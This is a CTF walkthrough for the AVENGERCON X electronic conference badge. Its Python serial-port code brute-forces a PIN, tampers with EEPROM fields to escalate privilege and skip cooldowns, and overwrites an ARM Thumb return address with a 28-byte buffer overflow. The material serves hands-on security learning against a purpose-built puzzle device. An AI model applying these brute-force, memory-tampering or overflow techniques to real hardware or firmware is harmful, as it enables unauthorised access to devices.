AVENGERCON X Badge CTF
Introduction
Richard Shmel has been making badges for Army's AVENGERCON for years. The first electronic badges featured a scavenger hunt for codes to activate lights. The electronic badge became more complicated (and fun) for the second and third generations by including a CTF hidden in and around the badge.
| AVENGERCON X Badge Front |
If you couldn't figure out the AVENGERCON X challenges, or didn't have time to try, here is a walk through for defeating Shmel's badge. Tasks range from decoding binary, decrypting ciphertext, reading morse code, implementing a privilege escalation, and coding a buffer overflow. While the flag submission site is now off-line, hopefully documenting the CTF here will allow continued fun figuring out all of the puzzles.
| AVENGERCON X Badge Back |
Easy Challenge
On the front of the badge are a bunch of 8bit numbers. You could solve it the hard way by converting each of them into their hexadecimal values and looking the codes up on an ASCII table ...
| Binary | Hexadecimal | ASCII |
|---|---|---|
| 01100110 | 66 | f |
| 01101100 | 6C | l |
| 01100001 | 61 | a |
| 01100111 | 67 | g |
| 01111011 | 7B | { |
| 00110010 | 32 | 2 |
| 01100101 | 65 | e |
| 01111010 | 7A | z |
| 01111101 | 7D | } |
... or just paste them into a converter and reveal the flag -- flag{2ez}.
Serial Port Challenge
On the side of the badge is a micro-USB port. Given that AVENGERCON IX's CTF was accessed through the serial port, it seemed logical a flag would be hidden there. The easiest way to get the flag was simply plugging the badge into a Linux box, observing the USB device in /dev, cat'ing the output and pushing the badge's reset button.
cat /dev/ttyUSB0
AC10 badge online
Status locked
flag{teKdy7uXcdaAaCQ3}
Officially the challenge was to figure out the proper way to interact with the serial port because the remainder of the challenges require actually interfacing with it programmatically. This was really just a matter of picking the correct baud rate - 1200, 2400, 4800, 9600, 18200, 38400, 57800, org 115600. Just for the nerds, why are baud rates those numbers anyway? It really goes back to the original telco days for symbols per second and is governed by time divisions based on timing crystals for older electronics.
Anyway, just using minicom and trying to read from the port easily identifies the correct baud rate. Run the program with a set rate and push the reset button. Fortunately he did not wildly increase the choices by leaving stop and parity bits alone. If you get garbled symbols, do it again with another baud. When it finally comes back intelligibly, you've found the correct baud rate and flag — flag{teKdy7uXcdaAaCQ3}.
minicom -D /dev/ttyUSB0 -b 115600
minicom -D /dev/ttyUSB0 -b 57600
minicom -D /dev/ttyUSB0 -b 38400
Python Program
Everything from this point on requires interacting with the badge using it's API. Fortunately, the CTF provided that information:
For the rest of the CTF solutions, we'll slowly expand a Python program by adding functions for each challenge. But to get started, this skeleton code will become the basis for everything else.
import serial
import string
import time
import sys
SERIAL_PORT ='/dev/ttyUSB0'
BAUD_RATE = 38400
################################################################################
# function opens the serial port and returns an object
################################################################################
def open_serial():
print(f"[INFO] Connecting to {SERIAL_PORT}")
try:
ser = serial.Serial(
port = SERIAL_PORT,
baudrate = BAUD_RATE,
bytesize = serial.EIGHTBITS,
parity = serial.PARITY_NONE,
stopbits = serial.STOPBITS_ONE,
timeout = 1
)
return ser
except serial.SerialException as e:
print(f"[ERROR] error - {e}")
sys.exit(1)
################################################################################
# function sends commands and payloads to the serial port with a reponse retry
################################################################################
def send_serial(ser, command, payload, delay=0.015):
retry = True
try:
while retry:
retry = False if delay >= 1 else True
if len(payload) > 0:
ser.write(command + payload)
else:
ser.write(command)
time.sleep(delay)
if ser.in_waiting > 0:
response = ser.read(ser.in_waiting)
return response
elif retry:
print(f"[ERROR] no response ... extending delay\n")
delay = 1
else:
print(f"[ERROR] no response ... fail\n")
return b"DEADBEEF"
except Exception as e:
print(f"[ERROR] {e}")
ser.close()
sys.exit(1)
################################################################################
# main ... obviously
################################################################################
def main():
print(f"Beat Navy")
if __name__ == "__main__":
main()
This program provides a skeleton from which to solve the rest of the challenges - open_serial() and send_serial() will be used by everything else. Intuitively from the name, open_serial() will open the serial port with the appropriate baud rate, stop bit, and parity bit.
The send_serial() function takes three parameters and an optional fourth. The first is the serial port object returned by open_serial(). The second is the appropriate badge op code from the reference document. The third is whatever byte string is intended for a payload. The optional fourth represents a wait interval for making sure the chip has enough time to respond without reading too quickly (defaults to 15 milliseconds). If there is no data after the specified wait interval, the function will pause for a second and then try again before bailing out.
In testing, I found trying to read the port faster than 15 milliseconds usually resulted in no data. It would be possible to just loop against reading the ser.in_waiting() function until data was available but I wanted the function to kill itself if nothing came back (which is useful in later challenges).
Unlock the Badge Challenge
You probably noticed the badge indicated a "locked" status. The next flag comes from unlocking the badge. It's a five digit PIN which means you've potentially got 99,999 numbers to brute force through. Add a simple function to perform five nested for loops to iterate through all 99,999 PIN combinations. Exception handling provides an easy way to terminate the loop when the proper PIN is discovered. There's an API call for unlocking the badge.
| 0xC0 - Authenticate (Unlock) |
| The badge boots into an AUTH_LOCKED state and will drop all hardware commands until a valid 5-digit PIN is provided. |
|
Sending the 0xC0 opcode followed by a payload of the digits (in binary - not as ASCII numbers) to the badge attempts to unlock it. A failed PIN will return 0x30 and 0x00 in the response. Success comes from detecting bytes 0x30 and 0x01 in the response followed by the flag.
################################################################################
# function brute forces the badge PIN
################################################################################
def brute_unlock():
ser = open_serial()
try:
for byte1 in range(10):
for byte2 in range(10):
for byte3 in range(10):
for byte4 in range(10):
for byte5 in range(10):
payload = bytes([byte1,byte2,byte3,byte4,byte5])
command = bytes([0xc0])
response = send_serial(ser, command, payload)
if response[0] == 0x30 and response[1] == 0x01:
print(f"[INFO] Found PIN -- {byte1} {byte2} {byte3} {byte4} {byte5}")
raise ValueError(f"[INFO] terminating brute force")
except Exception as e:
print(f"{str(e)}")
ser.close()
################################################################################
# main ... obviously
################################################################################
def main():
brute_unlock()
When approaching the brute force, I had the classic question of whether to loop in reverse thinking Richard would hide the PIN at the high end. But then I knew he'd think we'd think that and put it back at the low end. But then I ... yeah, you get the idea. Stop thinking about it and just let the computer do the work to reveal the flag -- flag{96Aka5ShrDq7av35}.
Blinking Lights Challenge
The next challenge was to activate the badge's LED. The API provided an opcode, 0xC1, for controlling the states of the LED.
| 0xC1 - LED Control |
| Overrides the default LED state to trigger internal hardware tasks. |
|
Two quick functions to the program take care of this. The first is unlock() whose purpose should be intuitively obvious to the most casual observer. Rather than brute forcing the badge everytime, unlock() simply sends the 80683 PIN previously discovered to enable the rest of the badge's functions.
################################################################################
# function unlocks the badge
################################################################################
def unlock():
ser = open_serial()
payload = bytes([8,0,6,8,3])
command = bytes([0xc0])
response = send_serial(ser, command, payload)
print(f"[INFO] {response}")
ser.close()
################################################################################
# function activates the badge LEDs
################################################################################
def leds():
ser = open_serial()
payload = bytes([0x01])
command = bytes([0xc1])
response = send_serial(ser, command, payload)
if response == b'\x31\x01':
print(f"[INFO] {response}")
ser.close()
################################################################################
# main ... obviously
################################################################################
def main():
unlock()
leds()
The addition of the leds() function simply sends the aforementioned opcode and LED status value to the badge. Finally, modify the main() to call the new functions. Running the program will reveal the LED is now on ... but blinking. Richard is a die hard RF junkie so it should be no surprise the LED is blinking in morse code. Watch the blinks for awhile and you'll eventually derive the next flag -- CWMODE.
- ⋅ - ⋅ ⋅ - - - - - - - - ⋅ ⋅ ⋅
CWMODE
Encryption Challenge
All CTF's tend to incorporate an encryption challenge of some sort. The CTF prompt itself was about two factor authentication. The API document provides opcode 0xC2 for activating a key polling feature.
| 0xC2 - Key Polling Enable |
| Enables a background polling task for the deluxe 2FA hardware
addition! Only 29.99 a month! Once the 2FA key is pulled, the task ends and the state machine falls back to idle. |
|
Seemingly nothing happens. Now look closely at the front of the AVENGERCON X badge. There is a picture of a key beside two jumper pins. While the badge is in polling mode, use something metallic and short the pins. This causes the badge to reveal a series of bytes. Coincidentally, the number of bytes returned matches the number of hexadecimal bytes printed on the back of the AVENGERCON X badge. Now simply XOR the provided decryption key onto the badge's cipher text and reveal the flag -- flag{7d86clv72vzksdwgv4fka9padb}.
The following crypto() function will put the badge into polling mode, wait for the jumpers to be shorted, print the decryption key, perform the XOR, print the plaintext, and return the badge to normal operation. Remember to call unlock() and crypto() from the main() function.
################################################################################
# function decodes the badge's encrypted 32 byte code
################################################################################
def crypto():
ser = open_serial()
payload = bytes([0x01])
command = bytes([0xc2])
response = send_serial(ser, command, payload)
polling = True
print(f"Put the jumper on the badge pins")
while polling:
time.sleep(10)
print(f"Waiting ...")
if ser.in_waiting > 0:
response = ser.read(ser.in_waiting)
print(f"[INFO] decryption key : {response}")
print(f"[INFO] decryption key length : {len(response)} bytes")
polling = False
break
# decrypt the cipher text (XOR)
ctext = bytes([0xE9, 0xD3, 0xA8, 0x9A, 0x38, 0xD9, 0xB8, 0x8F, 0x17, 0x55, 0xA8, 0x6E, 0x41, 0xB5, 0xDC, 0xFE, 0xBC, 0xEC, 0x39, 0xEB, 0xC9, 0xC1, 0x78, 0x74, 0x40, 0x7F, 0xFE, 0x76, 0x75, 0x2C, 0xC8, 0x46])
ptext = bytes(c ^ k for c, k in zip(ctext, response))
print(f"[INFO] plaintext : {ptext.hex()}")
print(f"[INFO] plaintext : {ptext.decode('ascii')}")
# turn off 2FA polling
payload = bytes([0x00])
command = bytes([0xc2])
response = send_serial(ser, command, payload)
ser.close()
Tokens Challenge
This challenge prompts with "HA HA HA I HAVE MORE SUPER COOL AVENGER TOKENS THAN YOU DO. ALL CAPS MEANS I AM YELLING!" First, you need to determine how many tokens you have. Second, you need to get more tokens. Let's look at the two badge API opcodes that help.
| 0xC6 - Increment Avenger Token |
| Increments the internal token counter located in the EEPROM profile. Triggering this command enforces a strict 255-second cooldown before it can be called again. Subject to memory integrity checksum (0x04). |
|
| 0xC7 - Diagnostic Profile Dump |
| Helper function that dumps the entirety of the 8-byte EEPROM profile block, regardless of read cooldowns, and evaluates the checksum integrity. |
|
Sending opcode 0xC7 to the unlocked badge and interpreting the resultant byte at offset 2 shows the badge only has one token in its default state. The solution to this challenge requires increasing that token count above some unknown value.
There are two ways to approach this challenge. The first would make repeated use of the 0xC6 opcode to just keep incrementing the token count until it crosses a threshold. According to the documentation, each call of this function imposes a 255 second cooldown period before it can be called again. If the threshold were to max out the byte - 0xFF - that would require 254 API calls costing 64,770 seconds of cooldown, or roughly 18 hours.
What if that cooldown time could be overridden? With the 0xC5 opcode, its possible to override the high and low bytes of the cooldown timer at offsets 3 and 4. Changing the cooldown to zero would allow rapidly calling the 0xC6 opcode to increment the token without waiting.
| 0xC5 - Write |
| Writes a single byte to the EEPROM. |
|
But if you're already going to modify the table, why not just modify the token counter directly and skip all the repetitive writes? That's option 2. This challenge will require some additional helper functions -- calc_checksum() and fix_checksum() -- to make things easier (and which will be re-used for later challenges). There is a two byte checksum on the EEPROM profile block and the AVENGERCON badge likes to "not work" if the contents of the block don't compute against the stored checksum. The fix_checksum() function will simply read the EEPROM block, call calc_checksum() to generate the new hexadecimal values using the modulo 65535 checksum algorithm, and then use the 0xC5 opcode to write the corrected values.
NOTE: There was some trial and error figuring out which checksum algorithm to use. It really just involved sending a "good" buffer into online checksum calculators and then looking at which one produced the same values that were currently in the checksum fields.
################################################################################
# function computes new modulo 65535 checksum
################################################################################
def calc_checksum(buffer):
sum = 0
for i in range(len(buffer)):
sum += buffer[i]
print(f"[DEBUG] sum = {sum:02X}")
chk = sum % 65535
hi = (chk >> 8) & 0xFF
lo = chk & 0xFF
print(f"[DEBUG] checksum is {chk:02X}")
return hi, lo
################################################################################
# function writes corrected checksum
################################################################################
def fix_checksum():
print(f"[DEBUG] fix_checksum()")
ser = open_serial()
command = bytes([0xc7])
response = send_serial(ser, command, '')
# fix checksum
hi, lo = calc_checksum(response[1:7])
payload = bytes([0x07, lo])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
payload = bytes([0x06, hi])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
ser.close()
Now there are functions for fixing the diagnostic profile block on demand. The procedure for defeating this challenge is now at hand. Technically, you could skip the first step, but it's good to read the diagnostic profile block to establish the baseline and confirm the badge is in a good state (e.g. tokens are defaulted at one). Second, use the 0xC5 opcode to arbitrarily max out the token value to 0xFF (255). Third, call the fix_checksum() function to make the diagnostic profile block "good" again. Lastly, call the 0xC6 opcode to increment the AVENGERCON token count (rolling it over from the max) and get the flag -- flag{9zMrqAtufPZL2M2g}.
The following max_tokens() function encapsulates this strategy to handle getting the flag. Remember to call unlock() before calling max_tokens() in main().
################################################################################
# function maxes the tokens byte and corrects the checksum
################################################################################
def max_tokens():
print(f"\n[INFO] max_tokens() ... solving token challenge")
ser = open_serial()
# current value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[TOKENS] {response[3]}")
# toggle tokens byte
payload = bytes([0x02, 0xFF])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
# fix checksum
fix_checksum()
# check value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[TOKENS] {response[3]}")
# increment tokens
command = bytes([0xc6])
response = send_serial(ser, command, '', 5)
print(f"[INFO] {response}")
ser.close()
EEPROM Challenge
The EEPROM challenge has two flags stored on the AVENGERCON X badge's ST24C02 EEPROM (datasheet). Getting those flags requires reading the 256 bytes of the EEPROM. Fortunately, in addition to the previously used opcodes, the API includes two additional opcodes that will be useful for the challenge. 0xC4 allows for reading a byte and 0xC3 allows for getting permission information about a memory address.
| 0xC3 - Memory Probe |
| Queries the EEPROM Access Control Layer (ACL) for the access rights of a specific memory address. |
|
| 0xC4 - Secure Read |
| Reads a single byte from the EEPROM. Subject to Privilege Checks, Checksum Integrity, and Cooldown Throttling. |
|
| Global EEPROM Error Codes |
Several commands interface with the onboard I2C EEPROM manager. If a read or write operation fails, the badge will return a Status byte of 0x00 followed by one of these Global Error Codes:
|
With some functions like this, it seems obvious that using 0xC4 to loop through addresses 0x00 to 0xFF will solve the challenge. This is where the obnoxious narrator voices over, "The hacker thought he could just read all the addresses. He couldn't." That is what the 0xC3 opcode was provided for. Loop through the 0x00 to 0xFF addresses again and look at the permissions.
Here are some functions to make this possible. The decode_error(err) function will handle printing out the error codes. At this point in the challenges, the tweaks necessary to read all the flags basically break the AVENGERCON badge regularly and interpreting the errors is the only way to troubleshoot what happened before pressing the reset button. The eeprom() function will walk through all of the addresses and print out the relevant ACL data to show why simply reading all the addresses failed.
################################################################################
# function decodes global EEPROM error codes
################################################################################
def decode_error(err):
if err == 0x00:
print(f"[ERROR] Unknown - General Hardware Fault")
if err == 0x01:
print(f"[ERROR] Invalid Address")
if err == 0x02:
print(f"[ERROR] Permission Error")
if err == 0x03:
print(f"[ERROR] Cooldown Active")
if err == 0x00:
print(f"[ERROR] Memory Corruption")
################################################################################
# function maps eeprom permission values
################################################################################
def eeprom(start=0,finish=255):
ser = open_serial()
for address in range(start,finish):
payload = bytes([address])
command = bytes([0xc3])
response = send_serial(ser, command, payload)
val = int.from_bytes(response, byteorder='big')
is_valid = (val & 8) != 0
is_write = (val & 4) != 0
is_read = (val & 2) != 0
is_priv = (val & 1) != 0
print(f"[INFO] Addr {address}, {val:08b}, V:{is_valid}, W:{is_write}, R:{is_read}, P:{is_priv}")
ser.close()
In summary, the eeprom() function revealed four main blocks of memory ACLs. The first block didn't matter, it was thoroughly analyzed during the tokens challenge. The second block of 215 addresses is fully readable. It stands to reason one of the flags will be there as a tease. The third block of 16 addresses can be read but requires elevated permissions to do so. A privilege escalation required to read memory sounds like an ideal way to hide another flag. There are no permissions to access the final block at all ... but that's a problem for the final challenge.
| Addresses | Permissions | Comments |
|---|---|---|
| 000-007 | Read/Write | EEPROM profile block |
| 008-223 | Read Only | |
| 224-240 | Read Only | Privileges Required |
| 240-255 | No Read/No Write | Privileges Required |
Two additional helper functions will make the rest of the challenge possible. Remember that in the EEPROM profile block there is a byte at offset 5 labeled "Privilege Level" and by default it happens to be zero. Just like in the tokens challenge, editing the EEPROM profile block can be achieved with the 0xC5 opcode for writing to memory and flipping the field to one. Then utilizing the previous helper functions to fix the EEPROM profile block's checksum and we should be able to use the read opcodes with privileges. All of this functionality is rolled into the make_admin() helper function.
The second new helper function will ensure the EEPROM reads don't incur cooldown errors for reading too fast. Add zero_cooldown() which will write zeroes to the high and low bytes of the cooldown field in the EEPROM profile block. Just like the privilege toggle, changing the EEPROM profile block also requires a call to the fix_checksum() helpers.
################################################################################
# function toggles the "is admin" byte and corrects the checksum
################################################################################
def make_admin(val=1):
ser = open_serial()
# current value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[ADMIN] {response[6]}")
# toggle admin byte
payload = bytes([0x05, val])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
# fix checksum
fix_checksum()
# check value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[ADMIN] {response[6]}")
ser.close()
################################################################################
# function zeroes the cooldown
################################################################################
def zero_cooldown():
ser = open_serial()
# current value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[COOLDOWN] {response[4]} {response[5]}")
# zero cooldown hi byte
payload = bytes([0x03, 0x00])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
# zero cooldown lo byte
payload = bytes([0x04, 0x00])
command = bytes([0xc5])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
# fix checksum
fix_checksum()
# check value
command = bytes([0xc7])
response = send_serial(ser, command, '')
print(f"[INFO] {response}")
print(f"[COOLDOWN] {response[4]} {response[5]}")
ser.close()
All the necessary code helper functions are in place. Call unlock(), zero_cooldown(), and make_admin() to prepare the environment. Then loop through all the addresses with privilege and locate the flags. To make it easier, a function called addr_read() will handle looping through the provided address range and save the output to a file for easier viewing.
################################################################################
# function reads the entire eeprom and saves to a binary file
################################################################################
def addr_read(start=0, finish=255):
for addr in range(start,finish):
ser = open_serial()
print(f"[INFO] Reading address {addr}")
payload = bytes([addr])
command = bytes([0xc4])
response = send_serial(ser, command, payload)
print(f"[DEBUG] {response}")
if response[1] == 0x00:
decode_error(response[2])
else:
with open("eeprom.bin", "ab") as file:
file.write(bytes(response[2:3]))
ser.close()
Running the addr_read() function will save it's output to eeprom.bin for analysis. Use any binary viewer and hunt for the flags. Only one will stand out, the flag from the privileged memory block -- flag{4qnjbc89z3}.
00000000: ac10 0109 c401 018b 37be 2c8a e62b 021a ........7.,..+..
00000010: 88a2 84ec 4cfb 9f4a ae10 668e 5cc9 34c0 ....L..J..f.\.4.
00000020: 913a 39a7 cb20 1f4d 0d63 925a 911b 7ba4 .:9.. .M.c.Z..{.
00000030: f1db 4f99 c6e0 44b1 3060 307b 7166 694e ..O...D.0`0{qfiN
00000040: 1985 94b6 d8b1 dea0 39da ed18 3985 6bcc ........9...9.k.
00000050: 65f0 d97e 7a72 723e 672c a455 6382 fcf5 e..~zrr>g,.Uc...
00000060: 6d94 7127 37c6 6f8c 955f d73b 5c2a 391e m.q'7.o.._.;\*9.
00000070: 6b9b 81d2 9b35 99c7 14f4 7721 5afd e8a6 k....5....w!Z...
00000080: aab7 6464 c13d 5e0b 98a3 6ab8 7748 6c92 ..dd.=^...j.wHl.
00000090: 3989 61b6 67b0 7614 45d9 5c26 71ae 2ca9 9.a.g.v.E.\&q.,.
000000a0: 5305 74de 306e 303c 339c 249d d690 7b6d S.t.0n0<3.$...{m
000000b0: 3708 3edf 3388 672e f12d 421c 035a 3556 7.>.3.g..-B..Z5V
000000c0: 62a6 57a1 3dcf 68de 8408 9fc3 7d00 fec8 b.W.=.h.....}...
000000d0: 151c f3c7 5b65 c3d7 ef61 6e5c 7624 3338 ....[e...an\v$38
000000e0: 666c 6167 7b34 716e 6a62 6338 397a 337d flag{4qnjbc89z3}
Admittedly, I needed a hint to find the flag hidden in the non-privileged address space. Looking at the ASCII printable characters, it was evident from the visible "{" and "}" characters and nearby "f-l-a-g" letters that the flag was present but scrambled. Trying to chain the printable characters in the order they appear was not the solution, so there must have been a chain of some sort. The hint Richard provided was to "think of data structures." It obviously was not a traditional null terminated array. Structures and Unions would have either had the string condensed within or pointed at the string which rule them out. A linked list?
Looking at the first "f", which is hexadecimal 0x66, is followed by hexadecimal 0x8E. If that's an address, than 0x8E should contain an "l", which is hexadecimal 0x6C. It does. Finding the flag is a matter of recording each plaintext ASCII character and then looking at the following hexadecimal value as the address to the next ASCII character. This will reveal the second flag of the challenge -- flag{094b0qow9ncd7h30mg775rik} .
f 66 -> 8E l 6C -> 92 a 61 -> B6 g 67 -> 2E { 7B -> A4
0 30 -> 6E 9 39 -> 1E 4 34 -> C0 b 62 -> A6 0 30 -> 3C
q 71 -> 66 o 6F -> 8C w 77 -> 48 9 39 -> DA n 6E -> 5C
c 63 -> 82 d 64 -> 64 7 37 -> C6 h 68 -> DE 3 33 -> 38
0 30 -> 60 m 6D -> 94 g 67 -> B0 7 37 -> 08 7 37 -> BE
5 35 -> 56 r 72 -> 3E i 69 -> 4E k 6B -> CC } 7D -> DONE
Buffer Overflow Challenge
The final challenge provides the prompt, "Some lazy developer left two debug functions in the source code. Probably nothing to worry about, we will fix it next patch." In another provided snippet, the challenge includes source code for the Debug_Echo function and Debug_DumpLockedMemory function.
Disassembly of section .text:
08000ce0 :
8000ce0: b590 push {r4, r7, lr}
8000ce2: b087 sub sp, #28
8000ce4: af00 add r7, sp, #0
8000ce6: 6078 str r0, [r7, #4]
8000ce8: 000a movs r2, r1
8000cea: 1cbb adds r3, r7, #2
8000cec: 801a strh r2, [r3, #0]
8000cee: 1cbb adds r3, r7, #2
8000cf0: 881a ldrh r2, [r3, #0]
8000cf2: 6879 ldr r1, [r7, #4]
8000cf4: 2408 movs r4, #8
8000cf6: 193b adds r3, r7, r4
8000cf8: 0018 movs r0, r3
8000cfa: f001 ff2b bl 8002b54
8000cfe: 1cbb adds r3, r7, #2
8000d00: 881b ldrh r3, [r3, #0]
8000d02: b2da uxtb r2, r3
8000d04: 193b adds r3, r7, r4
8000d06: 0019 movs r1, r3
8000d08: 2038 movs r0, #56 @ 0x38
8000d0a: f7ff fe6d bl 80009e8
8000d0e: 46c0 nop @ (mov r8, r8)
8000d10: 46bd mov sp, r7
8000d12: b007 add sp, #28
8000d14: bd90 pop {r4, r7, pc}
08000d18 :
8000d18: 23fa movs r3, #250 @ 0xfa
8000d1a: b530 push {r4, r5, lr}
8000d1c: 2410 movs r4, #16
8000d1e: b08d sub sp, #52 @ 0x34
8000d20: 009b lsls r3, r3, #2
8000d22: ad04 add r5, sp, #16
8000d24: 22f0 movs r2, #240 @ 0xf0
8000d26: 9302 str r3, [sp, #8]
8000d28: 21a0 movs r1, #160 @ 0xa0
8000d2a: 2301 movs r3, #1
8000d2c: 480b ldr r0, [pc, #44] @ (8000d5c )
8000d2e: 9401 str r4, [sp, #4]
8000d30: 9500 str r5, [sp, #0]
8000d32: f000 fd0b bl 800174c
8000d36: 0022 movs r2, r4
8000d38: 2800 cmp r0, #0
8000d3a: d10a bne.n 8000d52
8000d3c: 0029 movs r1, r5
8000d3e: a808 add r0, sp, #32
8000d40: f001 ff08 bl 8002b54
8000d44: 2210 movs r2, #16
8000d46: 20aa movs r0, #170 @ 0xaa
8000d48: a908 add r1, sp, #32
8000d4a: f7ff fe4d bl 80009e8
8000d4e: b00d add sp, #52 @ 0x34
8000d50: bd30 pop {r4, r5, pc}
8000d52: 21ff movs r1, #255 @ 0xff
8000d54: a808 add r0, sp, #32
8000d56: f001 fed0 bl 8002afa
8000d5a: e7f3 b.n 8000d44
8000d5c: 20000398 .word 0x20000398
Basically, there was an unreadable section of the EEPROM and now there is a function that can read locked memory. The Debug_DumpLockedMemory will likely reveal the missing flag, it just comes down to figuring out how to call it. It's already possible to call the first function and bears the hint regarding staying limited to "short messages."
| 0xC8 - Legacy Debug Echo |
| A deprecated diagnostic tool that echoes payloads back to the terminal. Warning: only use this for short messages. (Yeah, nothing suspicious about that.) |
|
Still without looking at the code, the challenge implies a potential buffer overflow. Whatever is sent to the 0xC8 opcode in a payload is echoed back. Now looking at the source code for the debug_echo, it includes a memcpy() which copies the payload into a 20 byte buffer allocated on the stack. One can visually determine the critical address begins around offset 28 based on the sub sp, #28 instruction which allocated the local variables on the stack. The more "classic hackery" way to determine whether its possible to control the return address (pushed on to the stack with the push {r4, r7, lr} instruction) is to progressively write a longer string of ASCII "A" characters until the code dies.
With the following snippet, slowly increase the "* 20" multiplier after the "A" (ASCII 0x41) until the badge crashes. How do you know when it dies? If a subsequent call to the debug_echo function works, then the return address was not overwritten. Way back when the send_serial() function was written, it included a timeout the would return 0xDEADBEEF to know nothing happened.
payload = bytes([0x41]) * 20
command = bytes([0xc8])
print(f"[INFO] sending ...")
response = send_serial(ser, command, payload, 5)
print(f"[INFO] {response}")
print(f"[INFO] sending ...")
response = send_serial(ser, command, bytes([0xB,0x0,0x0,0xB]), 5)
print(f"[INFO] {response}")
Once the payload reaches the 29th "A" byte, the second function call ceases to echo 0xB00B because the first function call never properly returned. Now, it's just a matter of sending 28 "A" characters and then appending the address of the Debug_DumpLockedMemory function (0x08000d18) to the end in order to overwrite the return.
Surprise, that doesn't work. The address needs to be flipped around to account for endianess -- bytes([0x18, 0x0d, 0x00, 0x08]).
Surprise, that doesn't work either. It turns out, the final trick was a devious move by Richard.
On ARM processors, there is a thing called Thumb and it allows for an optimization of bytes to mix 16bit and 32bit opcodes. When it comes to thumb function addressing, thumb code will have an odd address by setting the least significant bit. This means the calling address needs to be 0x08000d19. Richard included this gotcha in order to stymie folks feeding the function source code to AI but forgot most humans don't know ARM assembly code either. The following function will reveal the final flag -- flag{ai9ru0t1xa}.
################################################################################
# function uses debug
################################################################################
def debug():
ser = open_serial()
payload = bytes([0x41]) * 28 + bytes([0x19, 0x0d, 0x00, 0x08])
command = bytes([0xc8])
print(f"[INFO] sending ...")
response = send_serial(ser, command, payload, 5)
print(f"[INFO] {response}")
print(f"[INFO] sending ...")
response = send_serial(ser, command, bytes([0xB,0x0,0x0,0xB]), 5)
print(f"[INFO] {response}")
while True:
if ser.in_waiting > 0:
response = ser.read(ser.in_waiting)
print(f"{response}")
time.sleep(1)
ser.close()
Conclusion
The AVENGERCON X badge CTF was pretty cool - thank you Richard Shmel.
Python Source Code Solution : AC10.py


